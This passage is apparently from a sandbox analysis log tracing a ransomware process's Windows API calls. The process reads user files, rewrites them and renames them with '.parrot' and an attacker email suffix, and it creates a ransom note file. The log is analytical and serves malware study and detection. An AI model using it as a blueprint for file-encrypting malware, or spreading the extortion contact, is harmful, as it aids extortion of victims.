Size=0x78) returned 0x5e78a0 [0048.719] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0048.719] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0048.719] GetLastError () returned 0x0 [0048.719] SetLastError (dwErrCode=0x0) [0048.719] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.719] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.719] GetLastError () returned 0x0 [0048.719] SetLastError (dwErrCode=0x0) [0048.719] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.719] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0048.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0048.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600980 [0048.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28fde30 [0048.720] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0048.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ffe70 [0048.720] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28d9df0 [0048.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ffe70 | out: hHeap=0x540000) returned 1 [0048.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28e1e30 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bb88 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.722] GetLastError () returned 0x0 [0048.722] SetLastError (dwErrCode=0x0) [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0048.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0048.722] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0048.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0048.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0048.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0048.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0048.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0048.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0048.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0048.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x28f1e70 [0048.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x28f3e38 [0048.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f1e70 | out: hHeap=0x540000) returned 1 [0048.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x28d9df0 [0048.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f3e38 | out: hHeap=0x540000) returned 1 [0048.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x28f1e70 [0048.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x28fde30 [0048.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f1e70 | out: hHeap=0x540000) returned 1 [0048.724] WriteFile (in: hFile=0x2d4, lpBuffer=0x28fde40*, nNumberOfBytesToWrite=0x8ec8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x28fde40*, lpNumberOfBytesWritten=0x18fa94*=0x8ec8, lpOverlapped=0x0) returned 1 [0048.725] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.725] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8eba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.725] CloseHandle (hObject=0x2d4) returned 1 [0048.726] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0048.726] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0048.726] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0048.726] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\G-0XoD6Z.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\g-0xod6z.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\G-0XoD6Z.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\g-0xod6z.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0048.727] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0048.727] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0048.727] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28e1e30 | out: hHeap=0x540000) returned 1 [0048.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0048.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0048.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0048.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0048.729] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.729] GetFileType (hFile=0x2d4) returned 0x1 [0048.729] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0048.740] lstrcmpW (lpString1="gcwtS9Iff.mp3", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\gcwtS9Iff.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gcwts9iff.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.740] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x14bed [0048.740] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14d05, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.740] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.740] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0048.741] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.741] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x14bed, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x14bed, lpOverlapped=0x0) returned 1 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0048.742] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0048.742] GetLastError () returned 0x0 [0048.742] SetLastError (dwErrCode=0x0) [0048.742] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0048.742] GetLastError () returned 0x0 [0048.742] SetLastError (dwErrCode=0x0) [0048.742] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.742] GetLastError () returned 0x0 [0048.742] SetLastError (dwErrCode=0x0) [0048.742] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0048.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600980 [0048.743] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28fde30 [0048.743] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0048.743] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ffe70 [0048.743] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.743] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28d9df0 [0048.744] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ffe70 | out: hHeap=0x540000) returned 1 [0048.744] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28e1e30 [0048.745] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.745] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x61c990 [0048.746] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28e1e30 | out: hHeap=0x540000) returned 1 [0048.746] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c88 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0048.747] GetLastError () returned 0x0 [0048.747] SetLastError (dwErrCode=0x0) [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0048.747] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0048.747] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x63c9d0 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x28fde30 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c9d0 | out: hHeap=0x540000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x2900dc8 [0048.748] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x28d9df0 [0048.749] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2900dc8 | out: hHeap=0x540000) returned 1 [0048.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x28fde30 [0048.749] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x28d9df0 [0048.749] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1682d) returned 0x2919e10 [0050.534] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0050.551] WriteFile (in: hFile=0x2d4, lpBuffer=0x2919e20*, nNumberOfBytesToWrite=0x14d08, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2919e20*, lpNumberOfBytesWritten=0x18fa94*=0x14d08, lpOverlapped=0x0) returned 1 [0050.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2919e10 | out: hHeap=0x540000) returned 1 [0050.966] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14d05, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.966] CloseHandle (hObject=0x2d4) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0050.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0050.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0050.968] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\gcwtS9Iff.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gcwts9iff.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\gcwtS9Iff.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gcwts9iff.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0050.971] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0050.971] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0050.971] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0050.971] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0050.971] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0050.971] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0050.971] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) 